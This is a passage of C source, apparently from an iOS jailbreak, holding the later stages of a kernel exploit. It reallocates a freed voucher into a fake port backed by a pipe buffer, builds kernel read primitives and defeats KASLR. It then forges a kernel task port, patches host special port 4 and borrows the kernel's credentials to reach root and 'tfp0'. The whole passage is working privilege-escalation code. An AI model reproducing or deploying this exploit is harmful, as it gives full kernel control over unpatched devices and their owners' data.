sizeof(fake_ipc_voucher_t)); 1050 | } 1051 | 1052 | LOG("realloc'ing..."); 1053 | 1054 | ret = reallocate_buf(client, surface->id, spray_index, dict_small, small_dictsz); 1055 | if (ret != KERN_SUCCESS) 1056 | { 1057 | LOG("failed to reallocate buf: %x %s", ret, mach_error_string(ret)); 1058 | goto out; 1059 | } 1060 | 1061 | for (int i = 0; i < 0x10; i++) 1062 | { 1063 | if (i == spray_index) 1064 | { 1065 | continue; 1066 | } 1067 | 1068 | dict_small[6] = transpose(i); 1069 | 1070 | uint32_t dummy; 1071 | size = sizeof(dummy); 1072 | ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict_small, small_dictsz, &dummy, &size); 1073 | if (ret != KERN_SUCCESS) 1074 | { 1075 | LOG("IOSurface::set_value failed: %x %s", ret, mach_error_string(ret)); 1076 | goto out; 1077 | } 1078 | } 1079 | 1080 | mach_port_t old_real_port = real_port_to_fake_voucher; 1081 | ret = thread_get_mach_voucher(mach_thread_self(), 0, &real_port_to_fake_voucher); 1082 | if (ret != KERN_SUCCESS) 1083 | { 1084 | LOG("failed to call thread_get_mach_voucher: %x %s", ret, mach_error_string(ret)); 1085 | goto out; 1086 | } 1087 | 1088 | LOG("old port: %x", old_real_port); 1089 | LOG("new port: %x", real_port_to_fake_voucher); 1090 | 1091 | if (old_real_port == real_port_to_fake_voucher) 1092 | { 1093 | LOG("failed to get new port :("); 1094 | ret = KERN_FAILURE; 1095 | goto out; 1096 | } 1097 | 1098 | the_one = real_port_to_fake_voucher; 1099 | 1100 | if (!MACH_PORT_VALID(the_one)) 1101 | { 1102 | LOG("the_one is not valid :-( failed to realloc"); 1103 | ret = KERN_FAILURE; 1104 | goto out; 1105 | } 1106 | 1107 | LOG("WE REALLY TRAPPIN OUT HERE"); 1108 | 1109 | /* find the index of the pipe buffer our fakeport overlapped with */ 1110 | int fakeport_pipe_index = 0; 1111 | for (int i = 0; i < total_pipes; i++) 1112 | { 1113 | int rfd = pipefds[2 * i]; 1114 | size_t readsz = read(rfd, pipebuf, pagesize - 1); 1115 | 1116 | if (readsz != pagesize - 1) 1117 | { 1118 | LOG("failed to read idx %d", i); 1119 | continue; 1120 | } 1121 | 1122 | kport_t *iter_port = (kport_t *)pipebuf; 1123 | 1124 | if (iter_port->ip_srights != fakeport->ip_srights) 1125 | { 1126 | LOG("found our fakeport: %d", i); 1127 | LOG("ip_srights: %d", iter_port->ip_srights); 1128 | fakeport_pipe_index = i; 1129 | 1130 | int wfd = pipefds[2 * i + 1]; 1131 | write(wfd, pipebuf, pagesize); 1132 | 1133 | break; 1134 | } 1135 | } 1136 | 1137 | if (fakeport_pipe_index == 0) 1138 | { 1139 | LOG("failed to find fakeport pipe idx"); 1140 | ret = KERN_FAILURE; 1141 | goto out; 1142 | } 1143 | 1144 | LOG("fakeport pipe index: %d", fakeport_pipe_index); 1145 | 1146 | LOG("starting kreads..."); 1147 | 1148 | /* set up the fake task buf for use with the pid_for_task read primitive */ 1149 | int rfd = pipefds[2 * fakeport_pipe_index]; 1150 | read(rfd, pipebuf, pagesize); 1151 | 1152 | ktask_t *fake_task = (ktask_t *)((uint64_t)pipebuf + PIPEBUF_TASK_OFFSET); 1153 | fake_task->ref_count = 0xff; 1154 | 1155 | int wfd = pipefds[2 * fakeport_pipe_index + 1]; 1156 | write(wfd, pipebuf, pagesize); 1157 | 1158 | uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + offsets->struct_offsets.task_bsd_info); 1159 | 1160 | #define rk32(addr, value)\ 1161 | do {\ 1162 | int rfd = pipefds[2 * fakeport_pipe_index];\ 1163 | read(rfd, pipebuf, pagesize);\ 1164 | *read_addr_ptr = addr - offsets->struct_offsets.proc_pid;\ 1165 | int wfd = pipefds[2 * fakeport_pipe_index + 1];\ 1166 | write(wfd, pipebuf, pagesize);\ 1167 | pid_for_task(the_one, (int *)&value);\ 1168 | } while (0) 1169 | 1170 | uint32_t read64_tmp; 1171 | 1172 | #define rk64(addr, value)\ 1173 | do {\ 1174 | rk32(addr + 0x4, read64_tmp);\ 1175 | rk32(addr, value);\ 1176 | value = value | ((uint64_t)read64_tmp << 32);\ 1177 | } while (0) 1178 | 1179 | LOG("testing the first read..."); 1180 | 1181 | uint32_t first_read_val = 0x0; 1182 | rk32(original_port_addr, first_read_val); 1183 | LOG("first read val = %x", first_read_val); 1184 | 1185 | if (first_read_val == 0xffffffff) 1186 | { 1187 | LOG("read primitive failed :("); 1188 | ret = KERN_FAILURE; 1189 | goto out; 1190 | } 1191 | 1192 | ret = mach_port_insert_right(mach_task_self(), the_one, the_one, MACH_MSG_TYPE_COPY_SEND); 1193 | if (ret != KERN_SUCCESS) 1194 | { 1195 | LOG("mach_port_insert_right failed: %x %s", ret, mach_error_string(ret)); 1196 | goto out; 1197 | } 1198 | 1199 | mach_port_t gangport; 1200 | ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &gangport); 1201 | if (ret != KERN_SUCCESS) 1202 | { 1203 | LOG("mach_port_allocate: %x %s", ret, mach_error_string(ret)); 1204 | goto out; 1205 | } 1206 | 1207 | ret = mach_port_insert_right(mach_task_self(), gangport, gangport, MACH_MSG_TYPE_MAKE_SEND); 1208 | if (ret != KERN_SUCCESS) 1209 | { 1210 | LOG("failed to insert send right: %x %s", ret, mach_error_string(ret)); 1211 | goto out; 1212 | } 1213 | 1214 | ret = send_port(the_one, gangport); 1215 | if (ret != KERN_SUCCESS) 1216 | { 1217 | LOG("failed to send port: %x %s", ret, mach_error_string(ret)); 1218 | goto out; 1219 | } 1220 | 1221 | uint64_t ikmq_base = 0x0; 1222 | rk64(new_voucher.iv_port + offsetof(kport_t, ip_messages.port.messages), ikmq_base); 1223 | LOG("got ikmq_base: 0x%llx", ikmq_base); 1224 | 1225 | uint64_t ikm_header = 0x0; 1226 | rk64(ikmq_base + 0x18, ikm_header); /* ipc_kmsg->ikm_header */ 1227 | LOG("ikm_header: 0x%llx", ikm_header); 1228 | 1229 | uint64_t port_addr = 0x0; 1230 | rk64(ikm_header + 0x24, port_addr); /* 0x24 is mach_msg_header_t + body + offset of our port into mach_port_descriptor_t */ 1231 | LOG("port_addr: 0x%llx", port_addr); 1232 | 1233 | uint64_t itk_space = 0x0; 1234 | rk64(port_addr + offsetof(kport_t, ip_receiver), itk_space); 1235 | LOG("itk_space: 0x%llx", itk_space); 1236 | 1237 | uint64_t ourtask = 0x0; 1238 | rk64(itk_space + 0x28, ourtask); /* ipc_space->is_task */ 1239 | LOG("ourtask: 0x%llx", ourtask); 1240 | 1241 | ret = mach_ports_register(mach_task_self(), &client, 1); 1242 | if (ret != KERN_SUCCESS) 1243 | { 1244 | LOG("mach_ports_register failed: %x %s", ret, mach_error_string(ret)); 1245 | goto out; 1246 | } 1247 | 1248 | uint64_t iosruc_port = 0x0; 1249 | rk64(ourtask + offsets->struct_offsets.task_itk_registered, iosruc_port); 1250 | if (iosruc_port == 0x0) 1251 | { 1252 | LOG("failed to get IOSurfaceRootUserClient port!"); 1253 | goto out; 1254 | } 1255 | 1256 | uint64_t iosruc_addr = 0x0; 1257 | rk64(iosruc_port + offsetof(kport_t, ip_kobject), iosruc_addr); 1258 | if (iosruc_addr == 0x0) 1259 | { 1260 | LOG("failed to get IOSurfaceRootUserClient address!"); 1261 | goto out; 1262 | } 1263 | 1264 | uint64_t iosruc_vtab = 0x0; 1265 | rk64(iosruc_addr + 0x0, iosruc_vtab); 1266 | if (iosruc_vtab == 0x0) 1267 | { 1268 | LOG("failed to get IOSurfaceRootUserClient vtab!"); 1269 | goto out; 1270 | } 1271 | 1272 | uint64_t get_trap_for_index_addr = 0x0; 1273 | rk64(iosruc_vtab + (offsets->iosurface.get_external_trap_for_index * 0x8), get_trap_for_index_addr); 1274 | if (get_trap_for_index_addr == 0x0) 1275 | { 1276 | LOG("failed to get IOSurface::getExternalTrapForIndex func ptr!"); 1277 | goto out; 1278 | } 1279 | 1280 | #define KERNEL_HEADER_OFFSET 0x4000 1281 | #define KERNEL_SLIDE_STEP 0x100000 1282 | 1283 | uint64_t kernel_base = (get_trap_for_index_addr & ~(KERNEL_SLIDE_STEP - 1)) + KERNEL_HEADER_OFFSET; 1284 | 1285 | do 1286 | { 1287 | uint32_t kbase_value = 0x0; 1288 | rk32(kernel_base, kbase_value); 1289 | 1290 | if (kbase_value == MH_MAGIC_64) 1291 | { 1292 | LOG("found kernel_base: 0x%llx", kernel_base); 1293 | break; 1294 | } 1295 | 1296 | kernel_base -= KERNEL_SLIDE_STEP; 1297 | } while (true); 1298 | 1299 | uint64_t kslide = kernel_base - offsets->constant.kernel_image_base; 1300 | LOG("kslide: 0x%llx", kslide); 1301 | 1302 | /* find realhost */ 1303 | ret = send_port(the_one, mach_host_self()); 1304 | if (ret != KERN_SUCCESS) 1305 | { 1306 | LOG("failed to send_port: %x %s", ret, mach_error_string(ret)); 1307 | goto out; 1308 | } 1309 | 1310 | ikmq_base = 0x0; 1311 | rk64(new_voucher.iv_port + offsetof(kport_t, ip_messages.port.messages), ikmq_base); 1312 | if (ikmq_base == 0x0) 1313 | { 1314 | LOG("failed to find ikmq_base!"); 1315 | ret = KERN_FAILURE; 1316 | goto out; 1317 | } 1318 | LOG("got ikmq_base: 0x%llx", ikmq_base); 1319 | 1320 | /* since this is the 2nd message we've sent to this port, our msg will lie in ipc_kmsg->next */ 1321 | uint64_t ikm_next = 0x0; 1322 | rk64(ikmq_base + 0x8, ikm_next); 1323 | if (ikm_next == 0x0) 1324 | { 1325 | LOG("failed to find ikm_next!"); 1326 | ret = KERN_FAILURE; 1327 | goto out; 1328 | } 1329 | LOG("ikm_next: 0x%llx", ikm_next); 1330 | 1331 | ikm_header = 0x0; 1332 | rk64(ikm_next + 0x18, ikm_header); 1333 | if (ikm_header == 0x0) 1334 | { 1335 | LOG("failed to find ikm_header!"); 1336 | ret = KERN_FAILURE; 1337 | goto out; 1338 | } 1339 | LOG("ikm_header: 0x%llx", ikm_header); 1340 | 1341 | port_addr = 0x0; 1342 | rk64(ikm_header + 0x24, port_addr); 1343 | if (port_addr == 0x0) 1344 | { 1345 | LOG("failed to find port_addr!"); 1346 | ret = KERN_FAILURE; 1347 | goto out; 1348 | } 1349 | LOG("port_addr: 0x%llx", port_addr); 1350 | 1351 | uint64_t realhost = 0x0; 1352 | rk64(port_addr + offsetof(kport_t, ip_kobject), realhost); 1353 | if (realhost == 0x0) 1354 | { 1355 | LOG("failed to find realhost!"); 1356 | ret = KERN_FAILURE; 1357 | goto out; 1358 | } 1359 | LOG("realhost: 0x%llx", realhost); 1360 | 1361 | uint64_t ourproc = 0x0; 1362 | rk64(ourtask + offsets->struct_offsets.task_bsd_info, ourproc); 1363 | if (ourproc == 0x0) 1364 | { 1365 | LOG("failed to find ourproc!"); 1366 | ret = KERN_FAILURE; 1367 | goto out; 1368 | } 1369 | LOG("got ourproc: 0x%llx", ourproc); 1370 | 1371 | /* find kernproc by looping linked list */ 1372 | 1373 | uint64_t kernproc = ourproc; 1374 | while (kernproc != 0x0) 1375 | { 1376 | uint32_t found_pid = 0x0; 1377 | rk32(kernproc + offsets->struct_offsets.proc_pid, found_pid); 1378 | if (found_pid == 0) 1379 | { 1380 | break; 1381 | } 1382 | 1383 | /* 1384 | kernproc will always be at the start of the linked list, 1385 | so we loop backwards in order to find it 1386 | */ 1387 | rk64(kernproc + 0x0, kernproc); 1388 | } 1389 | 1390 | if (kernproc == 0x0) 1391 | { 1392 | LOG("failed to find kernproc"); 1393 | ret = KERN_FAILURE; 1394 | goto out; 1395 | } 1396 | 1397 | LOG("got kernproc: 0x%llx", kernproc); 1398 | 1399 | uint64_t kerntask = 0x0; 1400 | rk64(kernproc + offsets->struct_offsets.proc_task, kerntask); 1401 | if (kerntask == 0x0) 1402 | { 1403 | LOG("failed to find kerntask!"); 1404 | ret = KERN_FAILURE; 1405 | goto out; 1406 | } 1407 | LOG("got kerntask: 0x%llx", kerntask); 1408 | 1409 | uint64_t kernel_vm_map = 0x0; 1410 | rk64(kerntask + offsets->struct_offsets.task_vm_map, kernel_vm_map); 1411 | if (kernel_vm_map == 0x0) 1412 | { 1413 | LOG("failed to find kernel_vm_map!"); 1414 | ret = KERN_FAILURE; 1415 | goto out; 1416 | } 1417 | LOG("got kernel vm map: 0x%llx", kernel_vm_map); 1418 | 1419 | /* 1420 | since our IOSurfaceRoot userclient is owned by kernel, the 1421 | ip_receiver field will point to kernel's ipc space 1422 | */ 1423 | uint64_t ipc_space_kernel = 0x0; 1424 | rk64(iosruc_port + offsetof(kport_t, ip_receiver), ipc_space_kernel); 1425 | LOG("ipc_space_kernel: 0x%llx", ipc_space_kernel); 1426 | 1427 | /* as soon as we modify our fakeport, we don't want to be using our old rw gadgets */ 1428 | #undef rk64 1429 | #undef rk32 1430 | 1431 | { 1432 | /* read in the current pipebuffer */ 1433 | int rfd = pipefds[2 * fakeport_pipe_index]; 1434 | read(rfd, pipebuf, pagesize); 1435 | } 1436 | 1437 | fake_task->lock.data = 0x0; 1438 | fake_task->lock.type = 0x22; 1439 | fake_task->active = 1; 1440 | fake_task->map = kernel_vm_map; 1441 | *(uint32_t *)((uint64_t)fake_task + offsets->struct_offsets.task_itk_self) = 1; 1442 | 1443 | ((kport_t *)pipebuf)->ip_receiver = ipc_space_kernel; 1444 | 1445 | { 1446 | /* update the pipebuffer with new port/task */ 1447 | int wfd = pipefds[2 * fakeport_pipe_index + 1];\ 1448 | write(wfd, pipebuf, pagesize);\ 1449 | } 1450 | 1451 | uint64_t kbase_val = kread64(the_one, kernel_base); 1452 | if ((uint32_t)kbase_val != MH_MAGIC_64) 1453 | { 1454 | LOG("failed to find kbase val! got: %llx", kbase_val); 1455 | ret = KERN_FAILURE; 1456 | goto out; 1457 | } 1458 | LOG("read kbase: %llx", kbase_val); 1459 | 1460 | /* 1461 | now we've got tfp0 via our fakeport, let's build a more "proper" task port 1462 | that's not backed on a pipebuffer 1463 | */ 1464 | 1465 | uint64_t kernel_task_buf = kalloc(the_one, 0x600); 1466 | if (kernel_task_buf == 0x0) 1467 | { 1468 | LOG("failed to allocate kernel_task_buf!"); 1469 | ret = KERN_FAILURE; 1470 | goto out; 1471 | } 1472 | LOG("kernel_task_buf: 0x%llx", kernel_task_buf); 1473 | 1474 | /* 1475 | task_info TASK_DYLD_INFO patch 1476 | this patch (credit @Siguza) allows you to provide tfp0 to the task_info 1477 | API, and retreive some data from the kernel's task struct 1478 | we use it for storing the kernel base and kernel slide values 1479 | */ 1480 | *(uint64_t *)((uint64_t)fake_task + offsets->struct_offsets.task_all_image_info_addr) = kernel_base; 1481 | *(uint64_t *)((uint64_t)fake_task + offsets->struct_offsets.task_all_image_info_size) = kslide; 1482 | 1483 | kwrite(the_one, kernel_task_buf, (void *)fake_task, 0x600); 1484 | 1485 | /* allocate kernel port */ 1486 | uint64_t kernel_port_buf = kalloc(the_one, 0x300); 1487 | if (kernel_port_buf == 0x0) 1488 | { 1489 | LOG("failed to allocate kernel_port_buf!"); 1490 | ret = KERN_FAILURE; 1491 | goto out; 1492 | } 1493 | LOG("kernel_port_buf: 0x%llx", kernel_port_buf); 1494 | 1495 | kwrite64(the_one, new_voucher.iv_port + offsetof(kport_t, ip_kobject), kernel_task_buf); 1496 | 1497 | /* our fakeport lies just before our task buf in our pipebuf */ 1498 | kwrite(the_one, kernel_port_buf, (void *)pipebuf, PIPEBUF_TASK_OFFSET); 1499 | 1500 | /* 1501 | host_get_special_port(4) patch 1502 | allows the kernel task port to be accessed by any root process 1503 | */ 1504 | kwrite64(the_one, realhost + 0x10 + (sizeof(uint64_t) * 4), kernel_port_buf); 1505 | 1506 | /* eleveate creds to kernel */ 1507 | 1508 | uint64_t orig_ucred = kread64(the_one, ourproc + offsets->struct_offsets.proc_ucred); 1509 | LOG("original ucred: 0x%llx", orig_ucred); 1510 | 1511 | int orig_uid = getuid(); 1512 | 1513 | uint64_t kern_ucred = kread64(the_one, kernproc + offsets->struct_offsets.proc_ucred); 1514 | kwrite64(the_one, ourproc + offsets->struct_offsets.proc_ucred, kern_ucred); 1515 | 1516 | LOG("setuid: %d, uid: %d", setuid(0), getuid()); 1517 | if (getuid() != 0) 1518 | { 1519 | LOG("failed to elevate to root/kernel creds!"); 1520 | ret = KERN_FAILURE; 1521 | goto out; 1522 | } 1523 | 1524 | mach_port_t hsp4; 1525 | ret = host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &hsp4); 1526 | 1527 | /* de-elevate */ 1528 | 1529 | kwrite64(the_one, ourproc + offsets->struct_offsets.proc_ucred, orig_ucred); 1530 | 1531 | LOG("setuid: %d, uid: %d", setuid(orig_uid), getuid()); 1532 | if (getuid() != orig_uid) 1533 | { 1534 | LOG("failed to de-elelvate to uid: %d", orig_uid); 1535 | ret = KERN_FAILURE; 1536 | goto out; 1537 | } 1538 | 1539 | if (ret != KERN_SUCCESS || 1540 | !MACH_PORT_VALID(hsp4)) 1541 | { 1542 | LOG("failed to set hsp4! error: %x %s, port: %x", ret, mach_error_string(ret), hsp4); 1543 | goto out; 1544 | } 1545 | 1546 | /* test it */ 1547 | kbase_val = kread64(hsp4, kernel_base); 1548 | if ((uint32_t)kbase_val != MH_MAGIC_64) 1549 | { 1550 | LOG("failed to read kernel base!"); 1551 | ret = KERN_FAILURE; 1552 | goto out; 1553 | } 1554 | 1555 | /* we're done! */ 1556 | LOG("tfp0 achieved!"); 1557 | LOG("base: 0x%llx", kbase_val); 1558 | LOG("Success!"); 1559 | 1560 | *tfp0_back = hsp4; 1561 | *kbase_back = kernel_base; 1562 | ret = KERN_SUCCESS; 1563 | 1564 | out:; 1565 | for (int i = 0; i < sizeof(preport) / sizeof(mach_port_t); i++) 1566 | { 1567 | mach_port_destroy(mach_task_self(), preport[i]); 1568 | } 1569 | 1570 | for (int i = 0; i < sizeof(postport) / sizeof(mach_port_t); i++) 1571 | { 1572 | mach_port_destroy(mach_task_self(), postport[i]); 1573 | } 1574 | 1575 | if (fakeport) 1576 | { 1577 | free((void *)fakeport); 1578 | } 1579 | 1580 | if (the_one) 1581 | { 1582 | mach_port_destroy(mach_task_self(), the_one); 1583 | } 1584 | 1585 | if (pipefds) 1586 | { 1587 | for (int i = 0; i < total_pipes; i++) 1588 | { 1589 | close(pipefds[i]); 1590 | } 1591 | 1592 | free(pipefds); 1593 | } 1594 | 1595 | if (pipebuf) 1596 | { 1597 | free(pipebuf); 1598 | } 1599 | 1600 | return ret; 1601 | } 1602 | --------------------------------------------------------------------------------